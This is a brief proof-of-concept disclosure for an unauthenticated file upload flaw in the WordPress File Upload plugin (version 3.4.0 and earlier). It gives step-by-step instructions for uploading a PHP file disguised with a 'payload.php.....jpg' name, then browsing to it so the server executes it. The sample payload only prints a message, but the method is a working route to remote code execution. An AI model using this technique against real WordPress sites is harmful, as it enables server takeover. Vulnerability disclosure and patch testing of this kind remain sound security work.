WordPress File Upload <= 3.4.0 - Unauthenticated Malicious File Upload

1. Install wp-file-upload on a WordPress site and activate it.
2. Create an upload form on a page.
3. Create a file named payload.php.....jpg with the contents
<?php
echo "You got pwnd";

4. Use the form you created to upload this payload
5. Navigate to /wp-content/uploads/payload.php.....jpg and see "You got pwnd" printed.